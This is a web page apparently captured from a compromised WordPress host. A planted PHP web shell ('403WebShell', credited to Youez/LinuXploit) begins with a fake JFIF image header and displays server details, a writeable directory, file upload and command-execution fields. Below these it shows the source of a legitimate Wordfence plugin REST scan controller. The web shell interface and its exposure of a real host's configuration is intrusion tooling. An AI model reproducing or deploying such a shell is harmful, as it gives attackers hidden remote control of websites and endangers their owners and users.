????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.16.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/wordfence/lib/rest-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/wordfence/lib/rest-api/wfRESTScanController.php
<?php

require_once(dirname(__FILE__) . '/wfRESTBaseController.php');

class wfRESTScanController extends wfRESTBaseController {

	/**
	 * @todo Setup routes to modify scan results.
	 */
	public function registerRoutes() {
		register_rest_route('wordfence/v1', '/scan/issues', array(
			'methods'             => WP_REST_Server::READABLE,
			'callback'            => array($this, 'getIssuesList'),
			'permission_callback' => array($this, 'verifyToken'),
			'group'               => array(
				'description' => __('Scan result group or all results.', 'wordfence'),
				'type'        => 'string',
				'required'    => false,
			),
			'offset'              => array(
				'description' => __('Offset of scan results to return.', 'wordfence'),
				'type'        => 'int',
				'required'    => false,
			),
			'limit'               => array(
				'description' => __('Number of scan results to return.', 'wordfence'),
				'type'        => 'int',
				'required'    => false,
			),
		));
		register_rest_route('wordfence/v1', '/scan', array(
			'methods'             => WP_REST_Server::CREATABLE,
			'callback'            => array($this, 'startScan'),
			'permission_callback' => array($this, 'verifyToken'),
		));
		register_rest_route('wordfence/v1', '/scan', array(
			'methods'             => WP_REST_Server::DELETABLE,
			'callback'            => array($this, 'stopScan'),
			'permission_callback' => array($this, 'verifyToken'),
		));
		register_rest_route('wordfence/v1', '/scan/issue', array(
			'methods'             => WP_REST_Server::EDITABLE,
			'callback'            => array($this, 'updateIssue'),
			'permission_callback' => array($this, 'verifyToken'),
		));
	}

	/**
	 * @param WP_REST_Request $request
	 * @return mixed|WP_REST_Response
	 */
	public function getIssuesList($request) {
		$group = $request['group'] ? $request['group'] : 'all';
		$offset = absint($request['offset']);
		$limit = absint($request['limit']);
		if ($limit === 0) {
			$limit = 100;
		}
		switch ($group) {
			case 'pending':
				$count = wfIssues::shared()->getPendingIssueCount();
				$issues = wfIssues::shared()->getPendingIssues($offset, $limit);
				break;

			default: // Return all issues.
				$count = wfIssues::shared()->getIssueCount();
				$issues = wfIssues::shared()->getIssues($offset, $limit);
				break;
		}

		$response = rest_ensure_response(array(
			'count'          => $count,
			'last-scan-time' => wfConfig::get('scanTime'),
			'issues'         => $issues,
		));
		return $response;
	}

	/**
	 * @param WP_REST_Request $request
	 * @return mixed|WP_REST_Response
	 */
	public function startScan($request) {
		wordfence::status(1, 'info', sprintf(/* translators: Localized date. */ __('Wordfence scan starting at %s from Wordfence Central', 'wordfence'),
			date('l jS \of F Y h:i:s A', current_time('timestamp'))));

		try {
			wfScanEngine::startScan();

		} catch (wfScanEngineTestCallbackFailedException $e) {
			wfConfig::set('lastScanCompleted', $e->getMessage());
			wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_CALLBACK_TEST_FAILED);
			wfUtils::clearScanLock();
			$response = rest_ensure_response(array(
				'success'    => false,
				'error-code' => $e->getCode(),
				'error'      => $e->getMessage(),
			));
			return $response;

		} catch (Exception $e) {
			if ($e->getCode() != wfScanEngine::SCAN_MANUALLY_KILLED) {
				wfConfig::set('lastScanCompleted', $e->getMessage());
				wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_GENERAL);

				$response = rest_ensure_response(array(
					'success'    => false,
					'error-code' => $e->getCode(),
					'error'      => $e->getMessage(),
				));
				return $response;
			}
		}

		$response = rest_ensure_response(array(
			'success' => true,
		));
		return $response;

	}

	/**
	 * @param WP_REST_Request $request
	 * @return mixed|WP_REST_Response
	 */
	public function stopScan($request) {
		wordfence::status(1, 'info', __('Scan stop request received from Wordfence Central.', 'wordfence'));
		wordfence::status(10, 'info', __('SUM_KILLED:A request was received to stop the previous scan from Wordfence Central.', 'wordfence'));
		wfUtils::clearScanLock(); //Clear the lock now because there may not be a scan running to pick up the kill request and clear the lock
		wfScanEngine::requestKill();
		wfConfig::remove('scanStartAttempt');
		wfConfig::set('lastScanFailureType', false);
		$response = rest_ensure_response(array(
			'success' => true,
		));
		return $response;
	}

	/**
	 * @param WP_REST_Request $request
	 * @return mixed|WP_REST_Response
	 */
	public function updateIssue($request) {
		$issue = $request['issue'];
		$id = is_array($issue) && array_key_exists('id', $issue) ? $issue['id'] : null;
		$status = is_array($issue) && array_key_exists('status', $issue) ? $issue['status'] : null;

		if ($id) {
			$wfdb = new wfDB();
			$wfdb->queryWrite("update " . wfDB::networkTable('wfIssues') . " set status='%s' where id=%d", $status, $id);
			$response = rest_ensure_response(array(
				'success' => true,
			));
			return $response;
		}
		$response = rest_ensure_response(array(
			'success'    => false,
			'error'      => 'Issue not found.',
		));
		return $response;

	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit